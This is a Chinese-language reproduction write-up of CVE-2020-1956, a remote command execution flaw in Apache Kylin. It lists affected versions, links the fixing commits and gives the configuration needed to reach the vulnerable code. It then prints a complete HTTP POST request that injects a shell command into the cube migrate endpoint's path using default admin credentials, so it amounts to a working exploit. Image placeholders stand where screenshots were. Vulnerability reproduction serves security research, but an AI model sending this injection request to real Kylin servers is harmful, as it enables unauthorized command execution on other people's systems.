（CVE-2020-1956）Apache Kylin 远程命令执行漏洞
==============================================

一、漏洞简介
------------

二、漏洞影响
------------

Kylin 2.3.0 - 2.3.2Kylin 2.4.0 - 2.4.1Kylin 2.5.0 - 2.5.2Kylin 2.6.0 - 2.6.5Kylin 3.0.0-alpha, Kylin 3.0.0-alpha2, Kylin 3.0.0-beta, Kylin 3.0.0,
Kylin3.0.1

三、复现过程
------------

### 漏洞分析

在两条commit记录

[KYLIN-4426 Refine
CliCommandExecutor](https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a)

[KYLIN-4426
CliCommandExecutor](https://github.com/apache/kylin/commit/335d61b62517006d7e7b55638bb6fd305dffbea1?diff=split)

可以看到动刀子的位置，应该就是漏洞点的命令执行了，**CubeService**
应该就是命令执行的地方了，然后在
**CliCommandExecutor.checkParameterWhiteList** 做了一些处理。1.png

2.png

所以根据[CubeController](https://github.com/apache/kylin/blob/master/server-base/src/main/java/org/apache/kylin/rest/controller/CubeController.java)，就能找到对应路由了3.jpeg

当然在命令执行的地方触发之前，有几个值判断，因此需要加上这几个东西。4.png

    Copy to clipboardkylin.tool.auto-migrate-cube.enabled=true
    kylin.tool.auto-migrate-cube.src-config=/home/admin/apache-kylin-3.0.1-bin-hbase1x
    kylin.tool.auto-migrate-cube.dest-config=/tmp/kylin.properties

### 漏洞复现

    POST /kylin/api/cubes/kylin_sales_cube/aaa&touch%20l1nk31&/migrate HTTP/1.1
    Host: www.0-sec.org:7070
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Cache-Control: no-cache
    Pragma: no-cache
    Authorization: Basic QURNSU46S1lMSU4=
    Connection: close
    Referer: http://127.0.0.1:7070/kylin/admin
    Cookie: project=null; JSESSIONID=2B1DC2A8566558EFF0E6BD91E5BD630E; _ga=GA1.1.636880978.1585905453; rdt_uuid=22a7eaa3-24d1-441a-b4fd-2f87dfe0197f; _fbp=fb.3.1585905456831.913087212
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 11

    project=aaa

5.png